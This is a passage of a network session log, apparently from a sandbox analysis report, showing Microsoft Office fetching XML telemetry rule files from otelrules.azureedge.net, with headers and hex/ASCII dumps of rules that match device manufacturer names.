R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:37 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143737Z-178bfbc474bp8mkvhC1NYCzqnn00000004b000000000h2yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 15a67567-d01e-0066-07eb-3bea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143737Z-15b8b599d88m7pn7hC1TEB4axw000000030g00000000g3we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:38 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 91cd6b3c-c01e-0066-7c67-3da1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143738Z-15b8b599d882zv28hC1TEBdchn00000002x000000000dg7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:38 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:39 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:39 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143739Z-178bfbc474bwlrhlhC1NYCy3kg00000004pg000000003ttr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:39 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:39 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: a7e2d1bd-a01e-0032-531b-3d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143739Z-178bfbc474bv7whqhC1NYC1fg400000004g000000000hpwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:39 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:40 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143740Z-15b8b599d88vp97chC1TEB5pzw000000034000000000358a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:40 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143740Z-178bfbc474bp8mkvhC1NYCzqnn00000004ag00000000hg41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 00870788-c01e-000b-155b-3ce255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143740Z-178bfbc474bwh9gmhC1NYCy3rs00000004mg00000000e9ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:41 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:41 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143741Z-174c587ffdfcb7qhhC1TEB3x70000000036g000000004g6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:41 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:41 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:42 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143742Z-178bfbc474bnwsh4hC1NYC2ubs00000004s0000000002pak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:42 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:42 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143742Z-15b8b599d88l2dpthC1TEBmzr0000000033g000000002yzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:42 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143742Z-178bfbc474bxkclvhC1NYC69g400000004hg000000008cdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 